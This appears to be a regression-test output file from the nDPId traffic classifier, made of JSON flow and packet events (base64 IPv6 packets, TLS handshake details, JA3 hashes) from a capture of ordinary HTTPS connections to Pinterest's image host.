+00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1605289714142,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38516,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":142600,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDFiUACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFBoQAAAAAoAL9IDStAAACBAWgBAIICtZiIAMAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1605289714142,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38518,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":142665,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gC2HAACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMGkAAAAAoAL9INWDAAACBAWgBAIICtZiIAMAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1605289714142,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38520,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":142728,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAI0zACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElngBu4oDE2UAAAAAoAL9IGEKAAACBAWgBAIICtZiIAMAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1605289714142,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38522,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":142790,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAoQZACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnoBuzJfNsQAAAAAoAL9IJVNAAACBAWgBAIICtZiIAMAAAAAAQMDBw=="} +00467{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":171633,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWcPSVr2OUKdUeoBJXgLJJAAACBAV4AQMDAwQCCArCuSHy1mIgAw=="} +00454{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":171727,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1R70la9kgBAB+zY+AAABAQgK1mIgIMK5IfI="} +01149{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":172188,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1R70la9kgBgB+45nAAABAQgK1mIgIcK5IfIWAwECAAEAAfwDA8cIoCYavuvJ3cclYGmTzcO5vcPxdaWmTmcHbVFGmXkWIAQE24FGTaHp\/I8\/xYwpdYoJEv3RN4\/3JwS5BNqVh3JRACAKChMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZM6OgAAAAAAEQAPAAAMcy5waW5pbWcuY29tABcAAP8BAAEAAAoACgAI+voAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACn6+gABAAAdACDSU2T4PnFCVulVq04gCrqMt7ropfQriFF56F3nM1YPWAAtAAIBAQArAAsKSkoDBAMDAwIDAQAbAAMCAAJaWgABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00825{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1605289714142,"flow_last_seen":1605289714172,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38512,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":180048,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDqe34hzBqoBJXgFKZAAACBAV4AQMDAwQCCArCuSH71mIgAw=="} +00455{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":180086,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC2HAACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMGqaA6nugBAB+9aEAAABAQgK1mIgKcK5Ifs="} +01147{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":180489,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gC2HAAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMGqaA6nugBgB+6ckAAABAQgK1mIgKcK5IfsWAwECAAEAAfwDA3otstUONYxJRqel+gxt59VketaZiqmW7lVOabrnGXmhICqghU9krTVUXocj19UIfg+9UNudtwL7W30g9XqDFIVFACCKihMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAEQAPAAAMcy5waW5pbWcuY29tABcAAP8BAAEAAAoACgAImpoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmamgABAAAdACAhW4o44F4ndRfnSItF1Arhn7vovTMKfZIOdsBS0bZaIwAtAAIBAQArAAsKysoDBAMDAwIDAQAbAAMCAAI6OgABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00825{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":90,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1605289714142,"flow_last_seen":1605289714180,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38518,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181434,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8RXbDRQaFoBJXgAyCAAACBAV4AQMDAwQCCArCuSH61mIgAw=="} +00467{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181435,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTOMV4SazBoBJXgEidAAACBAV4AQMDAwQCCArCuSH71mIgAw=="} +00467{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181435,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqgAoyXzbFoBJXgIWfAAACBAV4AQMDAwQCCArCuSH71mIgAw=="} +00467{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181436,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms5zmKAxNmoBJXgFEqAAACBAV4AQMDAwQCCArCuSH71mIgAw=="} +00454{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181455,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDFiUACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFBoWjvEV3gBAB+5BsAAABAQgK1mIgKsK5Ifo="} +00454{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181468,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAzjWACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrMEZEzjGgBAB+8yHAAABAQgK1mIgKsK5Ifs="} +00454{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181475,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAoQZACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnoBuzJfNsVQqoALgBAB+wmKAAABAQgK1mIgKsK5Ifs="} +00454{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181483,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAI0zACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElngBu4oDE2bprOc6gBAB+9UUAAABAQgK1mIgKsK5Ifs="} +01146{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":181782,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDFiUAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFBoWjvEV3gBgB+wk+AAABAQgK1mIgKsK5IfoWAwECAAEAAfwDA8fZsDKFAYPeeYF9BoVFeH6xWP7zl+Qbpemo8n8iOkAJIO+2XqB5SswaLECoDV+oBWri05ofip0ijOA3Db6nod5MACDq6hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAEQAPAAAMcy5waW5pbWcuY29tABcAAP8BAAEAAAoACgAISkoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClKSgABAAAdACDQ8L+t6qDH4DBUOVwSU+oBURitYqBDp2YLq+UXdAtSdwAtAAIBAQArAAsKqqoDBAMDAwIDAQAbAAMCAALq6gABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00825{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":99,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1605289714142,"flow_last_seen":1605289714181,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38516,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01148{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":182061,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAzjWAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrMEZEzjGgBgB++OVAAABAQgK1mIgKsK5IfsWAwECAAEAAfwDA92mJPo2aL01mOdVhpY2BeYgOuE8GqohhTbswcdXCK82ICwgtJPAcd3QemZipmKndqHXDNRTDLrVR4Gjwi9JNFNLACCqqhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZP6+gAAAAAAEQAPAAAMcy5waW5pbWcuY29tABcAAP8BAAEAAAoACgAIenoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACl6egABAAAdACBzyp4wXupLNzvb8sABuM2lxM\/IuPo3b96Pd8Zx+nF3SgAtAAIBAQArAAsKOjoDBAMDAwIDAQAbAAMCAAJaWgABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":100,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1605289714142,"flow_last_seen":1605289714182,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38514,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01148{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":182319,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAoQZAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnoBuzJfNsVQqoALgBgB+9eLAAABAQgK1mIgK8K5IfsWAwECAAEAAfwDAzRBzSt6OfaWQuGfefwEMKTHqbevEWh0CtAfd3bhvh5GIAWkfBE0ckrIGB0\/YhPYbfnnDbuNbUef6uRX74GQi5ybACC6uhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOamgAAAAAAEQAPAAAMcy5waW5pbWcuY29tABcAAP8BAAEAAAoACgAIKioAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkqKgABAAAdACD9g60FSOGoRydwCiPj9EEgHFxpxy17H17r2OahSqgiPgAtAAIBAQArAAsKysoDBAMDAwIDAQAbAAMCAAJKSgABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1605289714142,"flow_last_seen":1605289714182,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38522,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01148{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":182602,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAI0zAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElngBu4oDE2bprOc6gBgB+wr6AAABAQgK1mIgK8K5IfsWAwECAAEAAfwDA9ume65XMp2HeShH2kftPGfOVTrng6jVc48Y4obdoCMSICqZyhTW3xviLmKFiyEIbl\/Ph6q3MEMRNQtGI6WLlCCWACCamhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNaWgAAAAAAEQAPAAAMcy5waW5pbWcuY29tABcAAP8BAAEAAAoACgAIiooAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmKigABAAAdACCGaJJ6CznJgq2rWAQeyxX31Vt1ETNV3hVi2p78QO1VKwAtAAIBAQArAAsK6uoDBAMDAwIDAQAbAAMCAAKqqgABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":102,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1605289714142,"flow_last_seen":1605289714182,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 